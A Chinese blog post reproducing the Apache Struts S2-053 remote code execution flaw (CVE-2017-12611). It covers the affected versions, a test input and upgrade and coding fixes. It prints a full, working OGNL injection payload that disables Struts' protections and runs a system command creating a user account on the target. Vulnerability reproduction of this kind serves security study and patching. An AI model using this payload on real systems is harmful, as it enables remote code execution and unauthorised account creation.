S2-053漏洞重现(附exp) - 颓废's Blog

S2-053漏洞重现(附exp)

  • 内容
  • 相关
0x00 概述:

9月7日,apache struts放出s2-053安全公告,漏洞编号:CVE-2017-12611

,漏洞在于当freemarker标签使用表达式常量或强制的表达式时会导致RCE。

官方summary:

A possible Remote Code Execution attack when using an unintentional expression in Freemarker tag instead of string literals
 

0x01 影响范围:

Struts 2.0.1 – Struts 2.3.33,

Struts 2.5 – Struts 2.5.10

 

0x02 漏洞重现:

利用war包或docker很容易部署环境。

打开页面,输入表达式%{33-1}进行测试,发现成功执行,返回32:

2017-09-08

利用exp创建账户,exp如下:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='net user iamlsa iamlsa /add').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
成功创建iamlsa账户

2017-09-08

重现成功!

0x03 修复方案:

升级到Apache Struts2.5.12或2.3.34
Freemarker标签内容不要通过Request方式获取
使用只读属性来初始化value属性(仅限getter属性)
不要使用如下结构

<@s.hidden name=”redirectUri” value=redirectUri />

<@s.hidden name=”redirectUri” value=”${redirectUri}” />

访问原文

本文标签:

版权声明:若无特殊注明,本文皆为《颓废》原创,转载请保留文章出处。

收录状态:[百度已收录] | [360已收录] | [搜狗已收录]

本文链接:S2-053漏洞重现(附exp) - https://www.0dayhack.com/post-686.html

严重声明:本站内容来自于互联网,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规,黑客不是骇客,黑客维护网络安全

发表评论

电子邮件地址不会被公开。 必填项已用*标注